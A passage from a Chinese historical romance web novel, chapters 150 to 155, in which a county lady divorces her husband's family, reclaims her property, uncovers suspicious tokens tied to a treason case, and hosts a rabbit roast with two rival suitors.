瞧见这两人,沈家众人的身子又是一颤。 裴钰走到跟前,抬手在沈清安肩膀上推了一把将他推开,朝里面招了招手。 “你们几个,过来给县主搬东西!” 声音刚落,里面走出几个小厮,正是之前抬聘礼的那几个。 随着裴钰的人出来,另一侧月亮门处,几个侍卫也走了出来,到谢无烬跟前行礼。 “世子。” “嗯,你们也去帮县主搬东西!”谢无烬道。 众人得了令,跟着月禾往里走,身强体壮的小厮,训练有素的侍卫,一起往内院走去,沈家人甚至都不敢阻拦。 好半晌,老夫人似乎才反应过来,咬牙转向姜云舒。 “姜氏,就算和离,你也要留下一半的嫁妆,你要搬东西,总得等我核查完账才行!” 说着,老夫人又朝吉祥下令,“去,跟着他们,将嫁妆名单拿过来。” 吉祥没动,却听月禾忍不住嗤笑一声。 “哟,老夫人这占便宜成习惯了,总得从别人手里抢点什么才舒坦吗?” 说着,她转身回来,迎着老夫人的视线看过去。 “您年老耳聋没关系,我再给您重新申明一遍,我家小姐与沈清安不是和离,而是休夫,休夫,可将自己的嫁妆全数带回,也不必过断离桥,更不用承受竹杖之痛,相反,你家沈大人却要在京兆府受二十杖。” 这一闹,高芝兰二十杖,沈清安也二十杖,要不说人家能做夫妻呢。 “你,你们!好歹也做了三年的家人,你怎么能如此狠心!”老夫人哭得声音都哑了。 可此时的可怜却未换得分毫怜惜。 “哟,您也知道我家小姐与你们沈家做了三年亲人啊?当初即便沈清安不在家中,我家小姐也是掏心掏肺对你们沈家的,结果换来了什么?换来了丈夫让她让位做妾,就连她亲手照顾教养了三年的孩子也是被你们哄骗着塞到身边,你们沈家可真真是豺狼虎豹窝,就没有一个是人的!” 这些话憋在心里时间长了,难得有机会出口,月禾再无顾忌,朝着沈家众人门面上喷。 沈清安被喷得连还嘴的余地都不到,眼睛里布满红血丝,好半晌,咬着牙看向姜云舒。 “这一切,难道不是你自找的吗?当初是你自己仗着定国将军府的势力,向皇上要了赐婚,我一个初入朝堂之人,如何与你姜家对抗?” 此时,他的愤怒已经达到了顶峰,瞪圆的眼睛上猩红一片,仿佛要将姜云舒撕扯了一般。 姜云舒歪了歪头,看他,片刻,忍不住嗤笑出声。 “举头三尺有神明,沈清安,你说这话,不怕遭天打雷劈?就算当初是我爹求的赐婚圣旨,但在之前,我兄长与你两次谈心,问过你是否婚配,问过你是否对我有意,也与你明示过我定国将军府女子不容妾室,你又是如何作答?” “我……”沈清安被噎得脖子都红了。 姜云舒不等他回答,继续道:“我的确对你生过爱慕之心,却从未单独与你有过逾矩之行,是你为表心意亲自去我姜家提的亲,发的誓,如今你却口口声声强迫,你就不怕当初的誓言成真,让你天打雷劈,断子绝孙?” “姜云舒,你不要太过分!” 沈清安急了,说话间就要冲上来,却被旁边沈家的护卫一左一右架住。 “你,你们这是做什么?” 沈清安扭头看着沈家的护卫,脸色更是涨得发紫,“她已经不是我沈家人,你们还护着她做什么!” 说话间,挣扎着要甩开,然而,架着他的护卫却纹丝不动。 姜云舒睨着沈清安,蔓延都是嘲讽。 “对了,忘记告诉沈大人,这阖府的侍卫,原本是皇上给我的赏赐,并非沈清睿,如今我离开,他们便不再是沈府的护卫。” 说完,她抬手一摆,两边护卫瞬间松手。 “砰”的一声,沈清安像个石夯子一般摔在地上,骨头与石板地砖生磕,疼得他龇牙咧嘴。 姜云舒居高临下的看着他,冷声又道:“除了护卫,还有这沈宅,当初也是我爹出钱买下来送给我的大婚之礼,给你们三日的时间,搬走。” “什么?搬,搬走?” 老夫人一双眼睛又瞪了起来,此时,她那双眼睛的里的慌乱,已经快要溢出来了。 “不是,大郎可是五品朝廷命官,怎么连宅邸都不是自己的?” 当初接老夫人进京,她看到这四进四出的院子,便理所应当是沈清安是因为当官才有的,哪里能想到是姜家买的呢? “我大瑞朝有条例规定,四品官员才有资格分得府邸,以下官员只能自己购置宅院。”月禾“好心”地给老夫人解释一句。 然而,听完她的解释,老夫人一下子哭了出来。 “造孽啊,怎的好好的连宅子都没了,那以后我们要去哪里住啊!” “您这话说得,沈家在城外不是有庄子吗?就上次,高氏和沈长元住的那个。”月禾勾起唇角。 这话出口,别说老夫人,就连沈长元都哭了。 “我不去!我才不要去庄子上,那里什么都没有,又冷又破,还总有牲畜的臭味,我才不要去!” 沈长元一边哭,朝姜云舒跟前挪过来。 “母亲,我不想去庄子上,我跟你走行不行?我不要那个娘了,我只要你,母亲,我跟你走……” 五岁的孩子,哭得撕心裂肺,一边哭着一边解自己身上的腰牌和衣袋。 “我不要了,她给我的东西我都不要了,母亲,我求求你,带我走吧,我真的不要那个娘了!” 此时在场众人,脸色没有一个不震惊的。 老夫人和沈清安没想到沈长元竟为了追逐舒适连亲生母亲都不要了,堂堂男儿身,竟然一点骨气都没有,沈家血脉,就这般可笑? 姜云舒瞧着沈长元这般,心里也一阵酸涩,到底是亲自养大的孩子,如今看着此时这品性,只感觉到一阵无力感和挫败感。 “你本就是沈家的骨血,即便叫我一声母亲,也并非我家人,更何况,你来我身边本就是一个骗局。” 说着,她掰开沈长元的手,沈长元依旧不死心,拼命去拽姜云舒。。 “沈长元!” 沈清安怒喝一声,上前一把将沈长元拽开,“你若不想做我沈家的孩子,现在就给我滚出去!” 说着,将沈长元往地上一甩。 他是真的动了气,直摔得沈长元嚎啕大哭,沈清安看都不看一眼,又转向姜云舒。 “想要回宅子,没那么容易,这宅子的房契地契都在我手里,这就是沈家的东西!” 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第151章 给我砸了 “是吗?” 姜云舒挑眉看着他,倏然,唇角一勾,“即便房契地契在你手里,可这宅子前后的修缮装潢都是我拿的银子,既如此,带不走的,便毁了!” 说完,她朝月禾挑了挑眉梢。 月禾当即眼睛一亮,扭头跟裴钰交换一个眼神,不约而同开口。 “开砸!” 要不说这两人能玩儿一块去呢,俩人脸工具都准备好了,当即拿着铁锹直奔后院。 月禾目标精准,首先去的就是沈清安的书房。 这一回,管他阵法不阵法,两人直接一顿强行破阵,进了书房,拿起铁锹就往上砸。 沈清安见书房被闯了,一下子急了。 “赤羽卫!” 他手中令牌一抬,六个赤羽卫便出现在跟前。 “去,阻止他们,快阻止他们!”沈清安瞪大眼睛珠子,火急火燎。 赤羽卫得令就往前冲,谁知还没跑几步,就见眼前一晃,一队身着金鳞铠甲的侍卫将他们团团围住。 “金鳞卫?” 姜云舒惊呼一声,扭头看向谢无烬。 听说,渊政王年轻时训练过一批死士,作为边境奇袭部队前锋军,这支军队屡立奇功,被先皇授予金鳞卫的称号。 后来京城宫变,渊政王派金鳞卫回京平叛,据说那支队伍拼死护皇上周全,全部殉职。 当时姜云舒还唏嘘不已,没想到,如今竟亲眼看到了。 谢无烬得意地朝她挑了挑眉梢,依旧是那般玩世不恭的笑容。 “要活的还是要死的。”他朝姜云舒眨眨眼。 姜云舒歪着头看他,没回答,转而走到沈清跟前,猛地从他手上抢过赤羽令。 “赤羽令在此,赤羽卫听我号令!”她一声冷喝。 赤羽卫:“???” 沈清安:“!!!” 在场众人:“~~~” “姜云舒!” 沈清安扯着嗓子怒吼一声,挣扎着就要过来抢,可刚到跟前就被姜云舒一脚踹在肚子上,直接飞出去十几米远。 “我再说一次,赤羽令在此,赤羽卫听我号令!”姜云舒再开口。 赤羽卫面面相觑瞬间,朝着姜云舒单膝跪地。 “属下听凭主人号令!” 赤羽卫,认令牌不认人。 姜云舒沉了沉眼皮,将令牌收回,命令道:“沈家如有反抗,一并拿下!” “是!” 赤羽卫应声,转身朝书房奔去。 谢无烬瞥着自己那一对霸气登场的金鳞卫呆愣在原地,无奈的撇了撇嘴角。 此时沈清安书房之内,月禾已经打开了密室的门。 几个人冲进去,就见黑鹰落在一个架子上,架子上放着一个雷击木的盒子,见众人来,黑鹰呱嗒呱嗒地拍了几下翅膀。 “啊哟,你没事吧!” 月禾惊呼一声,上前接住黑鹰,检查一番没受伤,这才松一口气,此时,裴钰已经打开了那盒子。 “这是个什么玩意儿?” 他拿出里面的东西。 看起来像是一个黄铜的徽章,上面刻画着一个族徽的标志,但是这徽章从未见过。 正说着,姜云舒也进了密室,裴钰紧忙将那令牌递给姜云舒。 “你瞧瞧,可见过这个图案?” 姜云舒看了一圈,摇头,“没见过,带走便是。” 说着,又转身,连同之前发现的那个北夷皇室令牌一起带上。 众人带着东西往外走,沈清安已经冲了过来,瞧见姜云舒手里的东西,大喊一声。 “那是我的东西,还给我!” 说着,伸手过来拿。 就算是打砸,府里的东西还是沈家的,姜云舒若是强行带走,那便是抢。 姜云舒一把卡住他的手腕,将手里的东西在他面前晃了晃,“真是没想到,沈大人竟然还有一间密室,那么,你不妨说说,这两个东西,为什么会在你的密室里?” 一句话,将沈清安的脸色憋成了紫色,眼中也带出一丝恐慌。 “这是我在岩城时,百姓送的感谢礼,我如何知道这是什么!” “哦,北夷皇室的令牌,还有这个看起来也有渊源的徽章,岩城的百姓可真是有故事呢!” 姜云舒唇角一勾,眼神却骤然沉了下来,“沈清安,我再给你一次机会,你若不说,我便将这两样东西送到皇上面前!” “交给皇上?你敢吗?” 沈清安仰着头,狰狞的表情中除了几分狞笑,“这可是你定国将军府通敌的证据,你交给皇上,就不怕给你那远在崖州的父母兄长再添一条罪责?” 这出一出,在场众人面色均是一凛,裴钰更是伸手掐住沈清安的脖子。 “你倒是说说,这是什么东西,姜家已经认罪流放,便是罪证再添一条又如何?” “咳!” 沈清安呼吸困难地咳嗽一声,抬头,视线依旧落在姜云舒脸上。 “以前倒卖武器是通敌,如今这两件东西交到皇上面前,那便有了叛国的嫌疑,你不信,自可拿到皇上面前。” “放你娘的屁!” 裴钰一巴掌打在沈清安后脑勺上,直接给他打了个狗啃泥。 姜云舒慢步朝他走近,审视的视线落在他脸上。 那令牌,她能认出是出自北夷皇室,但是那徽章,她的确不认识。 当年定国将军府通敌一案,姜云舒给父亲去了多次书信,父亲却闭口不言,只让她过好自己的生活,不许再过问,即便调查这么多年,得到的信息依然有限。 但即便如此,也不是任由沈清安随意威胁的。 “既然对我姜家如此重要,这东西我便亲自保管了,沈大人对于今日之事若有不服,尽可去皇上们面前告御状,我都接着。” 沈清安面色一拧,他当然不敢去皇上面前对质! 私藏证物本就是大罪,更何况,这两样东西还可能将那位大人物牵扯进来,届时他姜家只有死路一条。 一时间分辨不出姜云舒这话的深意,沈清安眼珠子一转,又要开口,却听得外面传来一声惊呼。 “走水了!老夫人院子走水了!” “什么!” 沈清安面上又是一僵,勉强挣扎着站起来,正要往外走,又转向姜云舒众人。 “这密室是我自己设立,与你无关,你若敢动,我定在皇上面前参你!” “好,我不碰。” 姜云舒笑了,扭头朝月禾跟裴钰吩咐一声,“除了这密室,全都给我砸了!” 第152章 与过去割舍 自沈清安的书房出来,姜云舒看到老夫人的福寿园方向一片黑烟正在升腾。 她没有说出,只在原地停留片刻,抬脚往外走。 烧了也好,连带那三年虚度的光阴,一起烧掉。 大火持续了两个时辰,好在当日无风,周边也没有房屋连着,只烧这一家。 待大火扑灭,沈家后院已经烧了大半,另外一半,裴钰和月禾拿着镐头铁锹拆得也差不多了,就连大门都没了。 此时宅院正对着大街,有种光着腚晒太阳的感觉。 老夫人是被抬出来的,醒过来时,瞧着只剩下空壳子的沈家,拍着大腿嚎啕大哭。 “完了,都完了!这可怎么活啊!” 正哭着,高芝兰在京兆府挨完板子也是被抬回来的,刚到就看见原本风光的沈家已经烧没了,当即浑身一颤,跌坐在地上,“嗷”一声也哭了出来。 这一声比老夫人的嗓门还大,吓得老夫人浑身一哆嗦,扭头瞧见高芝兰,顿时满腔的怒火便找到了发泄的地方。 “你这个贱人,还敢回来!若不是你,我沈家何苦到这种地步!” 老夫人举着手里烧黑了的拐杖就往高芝兰身上抡。 当初要不是大郎将她接回来,姜云舒也不至于跟沈家翻脸,甚至,姜云舒还用帮皇上挡刀子的功劳给大郎求了官职晋升,要是没有高芝兰,这一家子只会越来越好。 “丧门星!你就是个丧门星!是你祸害了我沈家!” 到底是年纪大了,老夫人挥了几拐杖没有碰到高芝兰,坐在地上嗡嗡地哭。 高芝兰新伤加旧伤,如今正是疼得撕心裂肺,又听得老夫人如此这般一顿埋怨,心里更是一片寒凉。 “您说我是丧门星?我旺了沈家这么多年,你说我是丧门星?” 说着,她猛然抬起头看向沈清安,“相公,你……” “好了!” 沈清安怒喝一声,打断两人,“我还没死呢,你们吵什么!” 此时,原本那张英俊的脸上,沾染了黑色的灰,配上那满脸狰狞的表情,真真如同恶鬼一般,让人心生胆寒。 老夫人和高芝兰一瞬间不敢再多说,待两人安静下来,沈清安朝子固冷声命令。 “去请二郎回来!” 姜云舒说府兵是皇上赏赐给她的,这究竟是怎么回事? 二郎既然知道,当初又为什么不明说? 想到当初沈清睿护着姜云舒的模样,沈清安眼中又添了一层阴霾。 姜云舒,姜云舒! 今日这等侮辱,势必让她付出代价! 此时,自揽芳院搬出来的东西已经全数入了县主府的库房。 月禾和郭攀在半个月前就已经来县主府收拾东西了,今日正式入住的好日子。 “县主辛苦了,已经让厨房备下了晚膳,现在可是要用一些?”管家迎出来。 郝管家是定国将军府的老人,随姜云舒出嫁留在了京城,原本被姜云舒安排管理庄子,如今搬回了县主府,回来做管家正好。 “郝叔辛苦了。” 姜云舒朝郝管家点点头,又转向郭攀,“天色不早了,库房归置也差不多了,让国公府和渊政王府的人歇了吧。” 趁着大火往外抢东西可是个力气加速度的活儿,最后出来的那几个人,身上的衣服都焦了。 “是,小的这就去招呼那些兄弟们。”郭攀应声,转身往外走。 自上次被诬陷再回到沈家,姜云舒已经将郭攀的卖身契拿了回来,此时搬回县主府,郭攀便是除了郝管家之外的外院管事。 “小姐,你也用一些吧。”月禾说着,招呼丫鬟将餐食搬进来。 姜云舒正准备转身往内院去,就听见脚步声从外面走来,下意识以为是郭攀回来了。 “还有什么事?” “没事,就是来看看你。” 声音自身后传来,姜云舒脚步一顿,转身,却见来的是谢无烬。 “你怎么来了?元太妃身子不适,你不用在跟前侍奉?”姜云舒问。 方才沈家大乱之时,渊政王府派人来通报,说是元太妃身子不适。 “她身子不适自有太医照料,我在跟前,她怕是更好不了。”谢无烬勾了勾唇角。 姜云舒脸上的表情略显尴尬。 早听说过,元太妃与渊政王母子感情不和,却不想,她和谢无烬之间也这般恶劣。 “这么晚了,你来我这里做什么?”姜云舒歪着头看他。 此时夕阳偏西,晚霞自天边洒落,仿若在天地之间蒙上了一层缭绕的轻纱。 而谢无烬正是站在那轻纱之中,缥缈又神秘。 “沈家落得如此下场,你可舒心?”他突然开口。 “尚可吧,不过,我并不认为如今便是沈清安的下场。” 姜云舒说着,抬起手,黑鹰便如疾风略过,落在她的手臂上。 月禾上前,将准备的肉递过来,姜云舒拿着夹子一块一块地喂给黑鹰。 黑鹰是谢无烬亲手训练,嘴刁挑剔得很,便是卫临风和卫临冲给它喂食它都不一定吃,如今在姜云舒手上却出奇地乖巧。 “之前在沈清安的密室中,黑鹰找到一枚北夷皇室的令牌,还有一个徽章。” 姜云舒忽然开口,随即转身,将放在桌上的盒子打开。 闯进书房时,渊政王府传来元太妃身体不适的消息,谢无烬便直接离开了,倒是错过了一场好戏。 谢无烬眸光收敛,视线落在盒子上。 那枚北夷令牌看起来工艺精湛,的确是皇室的东西,但他对于北夷了解不如姜云舒,知道的并不会比她更多,倒是那枚徽章,他脑子里闪过一个似曾相识的影子。 “听说,北夷皇室身份不同,令牌也会有所差异,如今你手上这枚,可确定了身份?” “月禾带过去给谢无忧看过了,说是北夷二皇子的,令牌搜出来时,沈清安曾出口威胁,这是我爹叛国的证据……” 姜云舒转过身来,看向谢无烬的眼神之中多了几分认真,“但我确信,我爹不会背叛国家和他一生守护的子民。” 不管是军营之中还是在北域水患治理之时,姜云舒在爹爹眼中看到的是满腔忧国忧民的热忱,他对于百姓是全心全意的,这样一个人,不会为了一己之私让自己的国家受创,让百姓遭殃。 第153章 姜云舒,你欺负我 谢无烬收回视线,看向姜云舒。 “既然是与北夷有关,难不成,沈清安知道了姜老将军和北夷三皇子之间的交易,所以暗中与二皇子勾结,陷害你爹?别忘了,就在你定国将军府流放的那个月,北夷二皇子佣兵入宫,抢占了北夷至尊之位。” 这一层关系,姜云舒自然也是想到过的,可…… “理由呢?” 她抿着唇,余辉之下,她的眼睛如含着一汪春水,“从沈清安如今对高芝兰的态度来看,我不认为他会为了高芝兰报复我全家,而且,以他如今的身份,还没有资格与北夷二皇子,不,如今应该是北夷皇帝联合。” 刚回京城,姜云舒的确在沈清安眼睛里看到他对高芝兰的关切,可如今诸多事情的发生,那种温柔关切已经逐渐被不耐烦所代替。 尤其今日,当所有事情摆上明面,她甚至有一瞬间看到沈清安要放弃高芝兰的眼神,就如同他们刚回来那日,他看自己的眼神,冰冷,默然,还有决绝。 谢无烬没说话,只是蹙着眉似是在想什么。 姜云舒半晌没听到他的应答,问:“你是不是想到了什么?” 相比谢无烬直接统领三军,姜云舒知道的机密必然比他少很多,她不知道的,谢无烬这里说不定会有线索,这也正是姜云舒答应与他资源共享的原因。 被她的话拉回思绪,谢无烬舒展表情。 “都是猜疑,等我到查到结果再与你说。” 这倒也不是敷衍,有些事情猜测没有意义,需要拿到实证才有开口的余地,就比如当初从姜兆霖密室中搜出来往书信,才得以将定国将军府这座大山撼动。 两人正说着,就见月禾又从外面匆匆回来。 她的视线现在谢无烬身上扫过,又看向姜云舒。 “无碍,说吧。”姜云舒道。 “方才我收到乐无忧传来的消息,说是沈清安与她提及岩城那边有药材苗移栽到京城,但前期需要银子,说白了,就是跟乐无忧要银子呢。” 月禾一脸不屑。 沈家被烧了大半,对于沈家来说,也是一大损失,除了火烧,还有裴钰和月禾砸的,往后修缮重新布置也是一笔不小的银子。 之前沈清安为了将尚品堂开起来,几乎将手里的现银都投了进去,如今又向乐无忧开口,想来是真的捉襟见肘了。 “你去找郝叔拿五千两给她,提醒她一句,钱可以给,但让她抓住这批药材的掌控权。” “是!”月禾应声,紧忙往外走。 事儿也说完了,却见谢无烬依旧坐得稳如泰山,姜云舒眼皮颤了颤。 “你还不走?” 天都黑了,难不成他还想留下来吃晚饭? 谢无烬将手中杯盏放下,朝她眉梢一挑,“你不是说,要给我做炙烤香兔?” 还真是想留下来吃晚饭。 姜云舒嘴角抽了一下,耐着性子与他解释。 “我是答应过,可……那也不是说吃就能立刻吃上的,今日太繁忙,改日我让人去小林园抓了送过来……” 话未说完,就见郭攀急匆匆进了院子。 “县主,谢世子身边两位侍卫大哥拎着兔子来了。” 姜云舒:“……” 不是,他这是早有安排啊! 还不等说话,卫临风和卫临冲已经拎着兔子进了前厅。 “世子,我们回来了!” 两人大大咧咧地进来,又吵姜云舒行了一礼,“县主,恭喜脱离苦海啊!” 姜云舒眼皮颤了颤。 虽说沈家没什么好人,倒也不至于吃苦。 “你们这香兔,哪里来的?”她扯了扯嘴角。 怎么越看这兔子越像之前郝叔说要当种兔养起来的那批? “小林园抓的啊!”卫临冲脑袋一扬。 姜云舒:“……” 果然呐! “小林园那边,让你们进去了?”姜云舒又问。 自从上次对沈家关闭小林园,如今外人也一概不能入内,他们怎么进去抓兔子的? “不让啊!”卫临冲回答得理直气壮,“这不是有你的令牌嘛!” 话音刚落,卫临风便拿出一块令牌在姜云舒跟前晃了晃,然后又送到谢无烬手里。 姜云舒无语了,这令牌是之前为了去小林园训练黑鹰才给谢无烬的,他倒是物尽其用! “既然如今事情已经办成,那谢世子还是将令牌还回来吧!”她朝谢无烬伸手。 “县主这是要卸磨杀驴?哪有给了的东西往回要的?” 说着,谢无烬手腕一转,将令牌放进了胸口,一脸意味深长,“你该不是习惯了对我反悔吧,怎么就可着我一个人欺负?” 他说得声情并茂,尤其那双黑亮眸子一闪,仿若真真是受了气。 姜云舒简直想给他这演技拍手叫好,就这眼神,可比沈家那一帮人强多了。 简直让人想给他一巴掌! 不过,无语是无语,可听着谢无烬这话,又联想着之前悔婚的事,姜云舒倒也真真虚了一口气。 “行行行,不就是炙烤香兔,我给你烤便是!” 姜云舒没好气,扭头吩咐郭攀,“去准备烤架!” “是!” 郭攀应声,紧忙带着卫家两兄弟去后厨处理兔子。 烧烤最是简单,一会儿功夫,烤架支上,调料准备好,这兔子就烤上了。 说起来,自沈清安回来之后,姜云舒疲于应对各处事务,倒是有许久没吃过炙烤香兔了,如今这熟悉的香味擦过鼻尖,她忍不住吸了一口香气。 眼瞧着外皮烤成了焦黄,姜云舒用刀子割了一块兔肉,放在谢无烬的碟子里。 “谢世子,请用吧!” 谢无烬笑得一脸灿烂,夹起焦黄的兔肉咬一口,鲜嫩多肉的汁液站在口腔蔓延开来。 “的确是人间美味,若以后能时长吃到……” “哇,炙烤香兔!” 此时,一声惊呼打断谢无烬。 众人抬头,就见月禾急匆匆进了院子,后面还跟着裴钰,而刚才那一声惊呼,正是裴钰喊出来的。 “好啊,姜云舒,你竟然背着我烤兔子!” 裴钰一进来就开始跳脚,“之前我跟你央求了好几次,你都不给我烤,怎的到了谢世子这里你就烤了?” 第154章 她吃了我喂的肉 姜云舒实在不怎么会哄人,扬扬下巴,跟月禾吩咐道:“快去给裴世子拿一副碗筷。” “是!”月禾转身去小厨房。 裴钰径自过来,直接坐在姜云舒身侧,正和谢无烬面对面。 “不要以为你有信物你就能得意,反正你们的婚事也退了,不作数,你在姜云舒面前没有任何优势!”裴钰瞪着眼睛。 谢无烬撩眼皮看他一眼,没搭话,只抬手从烤着的兔子上撕下一块焦黄的皮肉,用筷子夹着递到姜云舒嘴边。 姜云舒正忙着,闻到香味,下意识张口就吃了。 谢无烬见她吃了,又抬头朝裴钰跳着眉毛勾起唇角,“裴世子方才说,什么优势?” 什么优势?此时他的优势就是姜云舒吃了他喂的肉。 裴钰顿时一股子气就鼓了起来,此时月禾还没有将筷子拿过来,他便直接拿刀子割了一块肉往姜云舒跟前送。 大概是因为带着气,那刀尖穿过肉,直直的朝着姜云舒就凑了过去,也是正巧,姜云舒扭过头来,就见刀剑直逼她脸上,当即吓得一晃。 “你干啥!”姜云舒瞪着眼睛往后挪了挪,没好气瞪他,“我都让月禾去给你添筷子了,你怎么还没完没了?” “我,我没想……呐,给你肉吃!” 裴钰又将手里的肉往跟前递了递。 姜云舒垂眸,视线在那肉上扫过,随即略显嫌弃的往旁边挪了挪。 “怎么,谢无烬给的你就吃,我给的你就不吃?姜云舒,你是不是胳膊肘要往外拐?”裴钰气鼓鼓的。 “我要吃肥瘦相间的,不吃纯瘦的!”姜云舒也没好气。 跟着吃了这么长时间的炙烤香兔,他还不知道自己的喜好? 裴钰这时也反应过来,却见谢无烬又夹着一块肥瘦相间,烤的焦黄的肉递到姜云舒嘴边。 姜云舒同样低头看一眼,张嘴又吃了。 “哼,爱吃不吃,不吃我自己吃!” 裴钰瞪着眼睛,将刀子上的肉往嘴里送,送大劲儿了,结果一口咬在刀刃上,差点崩了牙。 此时,三皇子府。 “乐安县主的东西已经全数搬了回去,此时,渊政王府谢世子和宁国公裴世子正在县主府。” 属下将调查的信息汇报给三皇子。 三皇子一手执笔,视线落在后背墙上挂着的那幅龙争虎斗的半成画上,半晌,他侧过脸,又问。 “六皇子呢?” “回三殿下,自乐安县主出宫,六皇子便一直在凤栖宫侍奉,据探子来报,傍晚时分,信阳侯府派人出城,去的是崖州方向。”属下回道。 “崖州……” 三皇子抬手给老虎额头的“王”上润了笔,唇畔勾起一抹嘲讽。 “去崖州又如何,当年姜兆霖亲自画押认罪,即便父皇有意维护亦不能直接下令将人召回,他信阳侯还能越过父皇去?” “三殿下说的是,当初若定国将军能申辩,也不至于流放崖州,可他偏偏认了罪,皇上尚且不能直接赦免,信阳侯想要替他翻案,更是不可能。”属下点头。 三皇子轻笑一声,笔尖点在那腾跃的龙眼睛上。 “除了信阳侯府,渊政王府近日可有异常?” “要说异常,那谢世子最近在万宝楼花千两银子包下了花月。”属下回答。 “花月?”三皇子手中笔停下,微微蹙起眉,“若是没记错,今年万宝楼的花魁争夺之中,花月只得了第四,谢无烬竟然包了花月,倒是不像他处处都跳最好的风格。” “也是有原因的。”属下紧忙接了话茬,“最近谢世子养了蛇宠,平日来万宝楼时,腰间总盘着一条金边赤链蛇,别人不敢靠近,只有花月姑娘不怕。” “呵,不愧是嗜血之人,养的都是湿邪之物。” 三皇子转身,将手中笔置于笔架上,“给户部侍郎递个话,春耕时期,清风村的粮食不必着急下放,姜云舒会有办法。” “是!” 属下应声,随即起身退了出去。 晚霞的余辉照进书房,三皇子看着已经点睛的画,唇角勾起一抹玩味。 姜云舒脱离沈家,独立掌控清风村,于如今朝局,便成了棋盘之中最初的局点。 翌日。 清晨的第一缕阳光懒洋洋的透过窗户,屋内被映照得一片金黄。 自县主府醒来的第一晚,空气都透着一股香甜,大概是晚上睡得太好,姜云舒竟比往常醒的更早一些。 月禾和白芷进来侍奉,待用过早膳,吩咐车夫备马车。 正要出门,却见郭攀从外面疾步过来。 “县主,沈家二郎求见,此时正在门口等着。” 姜云舒往前的步子顿了一下,随即摆摆手,“带他去前厅吧。” 须臾功夫,沈清睿到前厅时,姜云舒已经等着再喝茶了。 “姜嫂……参见县主!” 说着话,沈清睿便朝姜云舒行了一礼。 姜云舒受了他这一礼,摆摆手,“起来说话吧。” 沈清睿起身,白芷便端了茶过来,倒是客气的,只因他是沈家人的缘故,让人给不了好脸色。 姜云舒倒也不在意,径自开口,“大清早来我这里,可是出了什么事儿?” 大概是问得太直接,沈清睿喝茶的动作一顿,眼神一时找不到落处,犹豫了片刻,才开口。 “大哥从岩城弄了一批药材苗过来,他看中了之前皇上赏赐给我的那片良田……” 他抬头看姜云舒一眼,颇有种破罐子破摔的直楞,“送出去的东西,自然没有往回要的道理,但是母亲闹,我若不来找县主要,她便亲自来。” 说着,他抬手,将一张地契送到姜云舒跟前。 “年前我从铺子里拿了分利,用那银子买了地,没让母亲知道,我是想着,将这片地给县主换之前赏赐的良田……” 即便是当时的赏赐,若没有姜云舒在前面铺路,他也没有到皇上跟前护驾的机会,可架不住自己亲娘撒泼,他若不来要,指不定老娘会做出什么来。 沈清睿不想给姜云舒找麻烦,只能想到这个方法了。 姜云舒瞧着他,却没接那地契,只朝月禾递了个眼神。 “去将城东那片良田的地契找出来。” 第155章 提亲的资本 月禾给了沈清睿一个白眼,哼了一声,转身往外走。 沈清睿被瞪得喉咙一紧,紧忙跟姜云舒解释,“我不是来要地契的,当初我能立功,得到那些赏赐,原本也是得益于你,我……” “以前的事情,不必总是挂在嘴边。” 姜云舒打断他,随即转了个话题,“听说,前几日太常寺少卿顾大人去了清风村看望顾三小姐,你可与顾大人碰了面?” 当初让顾从容进清风村的医卫队,本也是考虑顾全顾从容的名节。 如今清风村解决了皇上的一大难题,所有参与其中的人都被嘉奖,现在的顾从容对于顾家来说,那是光明耀祖,是顾家得意之处,顾大人亲自过来看望,倒也没什么奇怪。 而这段时间沈清睿也在不当值的闲暇之处过去帮手,两人感情升温,他们的事,也不是什么秘密。 果然,听姜云舒这般问,沈清睿的脸一下子红到了耳朵。 “嗯,见了的,听顾大人的意思,对我还算满意。”他老实回答道。 “顾大人对你自然是满意的,如今你官职正六品带刀侍卫,这是你有资格站在顾大人面前表明心迹的前提,你也知道,顾从容以前不被顾家重视,但如今她在医护方面很有天赋,若非女儿身,陆太医甚至想引荐她入太医院。” 姜云舒端起杯盏抿一口清茶,又接着说:“但凡事都允许有特例,万一赵院正那关通过,顾三小姐入太医院也不是完全没有可能,届时,你还有求娶她的资格吗?” 她语气轻缓,可字字句句入了沈清睿的耳朵,却让他面色骤然一紧。 入了太医院那便有了官职,往后顾从容接触的都是后宫娘娘主子们,对于男子来说,不光是贤内助,还在仕途上有所助益,届时提亲的人肯定要踢破顾家的门槛,顾大人肯定会选择一个官职出身更好的。 越想,沈清睿就感觉越发慌张,紧忙道:“我,我会尽快向顾大人提亲。” 姜云舒垂眸,不置可否,只是话题又一转。 “这些年,你得的赏赐,除了东城那片良田,全都交给了老夫人,便是每月的月银也未曾留下多少,而现在,你兄长不管是药铺还是官场,处处紧缺,当下境况,你有提亲的资本?” 现在的沈家,还光着腚面向大街呢。 沈清睿显然没就想到这么多,当即面色更难看了。 原本以为,他将所有的财物交给母亲管理,届时就算母亲不给添补,自己也能出得起聘礼,可就在昨日,沈清睿提及有成亲的想法,母亲却斥责他给沈家添乱。 什么时候娶亲成了给家里添乱的事情了? 不得不说,姜云舒所说的事情,字字扎在他心上,他的确没有提亲的资本。 “你也老大不小了,是该为自己打算了。”姜云舒话尽于此。 沈清睿不是个笨的,自然明白姜云舒的意思,他应着,待月禾将城东良田的地契拿过来,他离开时,还是将带来的地契留下了。 姜云舒瞧着桌上的地契,沉沉叹一口气。 “还是放在匣子里吧。”她吩咐一声。 月禾蹙了蹙眉,还是应声收了起来,相比沈家其他人,沈清睿对人倒也真不是虚假的,只是可惜,赤子之心却生在了沈家。 翌日,清风村。 晨光熹微,洒金般的阳光洒向人间,露珠闪烁着晶莹的光,辉映着天地间的安静, 经过一个月的修整管理,如今的清风村已经步入正轨,各处也开始了运作。 清风村是皇上特设给姜云舒的封地,但百姓都是逃亡而来,是否还要回归原来的家园,姜云舒也不并不做强求。 疫病得以控制后,姜云舒让村长崔长友挨家去记录,结果让姜云舒意外的是,只有两成的人还有牵挂,待水患控制之后还要回锦州,而剩下的多数人,选择留在清风村。 “锦州水患多发,十年间,我们已经逃亡了三次,如今再也没了心力。” “是啊,此处虽相去京城还有一段距离,可到底是有了依傍,我们往后就跟着县主。” “对,县主是我们的救命恩人,是我们的再造父母,我们以后便是县主的子民!” 众人呼声震天。 “好了,既然大家决心要留下,那便踏实下来,如今春耕在即,咱们总不能坐等朝廷捐粮,想活着,还得靠自己的双手。” 崔长友说着,让人将提前准备的务农工具和种子分发下去。 清风林很大,除了开辟出来的这一片住宅地,姜云舒还带领众人将远处的荒地也开垦出来,虽算不上土地肥沃,但依着河道,也算是良田。 